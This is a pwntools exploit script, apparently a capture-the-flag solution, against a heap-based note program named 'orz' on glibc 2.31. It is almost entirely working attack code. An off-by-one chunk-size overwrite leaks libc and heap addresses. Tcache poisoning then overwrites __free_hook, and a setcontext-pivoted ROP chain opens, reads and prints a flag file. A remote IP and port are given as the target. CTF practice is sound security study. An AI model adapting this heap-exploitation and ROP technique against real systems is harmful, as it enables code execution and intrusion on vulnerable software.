1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| from pwn import *
context.log_level = 'debug' binary = './orz' local = 1 if local: p = process(binary) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: p = remote('120.79.220.233', 45219) libc = ELF('./libc-2.31.so') def add(size, content): p.sendlineafter('one?', '1') p.sendlineafter('size : ', str(size)) p.sendafter('your note.', content)
def edit(index, content): p.sendlineafter('one?', '2') p.sendlineafter('index.', str(index)) p.sendafter('new note.', content)
def free(index): p.sendlineafter('one?', '4') p.sendlineafter('index.', str(index))
def show(index): p.sendlineafter('one?', '3') p.sendlineafter('index.', str(index))
for i in range(7): add(0xb0, 'aaa')
for i in range(7): free(i)
add(0x28, 'aaa') add(0x28, 'ccc') add(0x28, '111') for i in range(10): add(0x28, 'aaa') edit(0, 'a'*0x28 + '\xc1') free(1) add(0x28, 'flag\x00') show(2) libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) -0x70 - libc.sym['__malloc_hook'] success('libc_base -> {}'.format(hex(libc_base))) free_hook = libc_base + libc.sym['__free_hook'] setcontext = libc_base + libc.sym['setcontext'] add(0x28, 'aaa') add(0x28, '222') add(0x28, '333') add(0xb0, '1') add(0xb0, '2') show(16) p.recvline() heap_base = (u64(p.recv(6).ljust(8, b'\x00')) & 0xfffffffff000) - 0x2000 success('heap_base -> {}'.format(hex(heap_base)))
free(3) free(4) edit(15, p64(free_hook) + b'\x0a') add(0x28, 'aaa') add(0x28, p64(libc_base + 0x1518b0)) pop_rdi = 0x23b72 + libc_base pop_rsi = 0x2604f + libc_base pop_rdx_r12 = 0x119241 + libc_base ret = 0x22679 + libc_base pop_rax_ret = libc_base + 0x47400 rdi_rdx = libc_base + 0x1518b0 syscall = libc_base + 0x10E000
payload = p64(pop_rdi) + p64(heap_base+0x2d50) + p64(pop_rsi) + p64(0) + p64(pop_rax_ret) + p64(2) + p64(syscall)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x2b0) payload += p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(libc_base+libc.sym['read'])
payload += p64(pop_rdi) + p64(1) + p64(libc_base+libc.sym['write'])
edit(17, payload + b'\x0a') edit(0, p64(heap_base + 0x2c60)*5 + b'\x0a') edit(16, ((p64(heap_base + 0x2c60)+p64(heap_base + 0x2c60)).ljust(0x20, b'a')+p64(setcontext+33)).ljust(0xa0, b'a') + p64(heap_base+0x2ba0) + p64(ret) + b'\x0a')
free(16) p.interactive()
|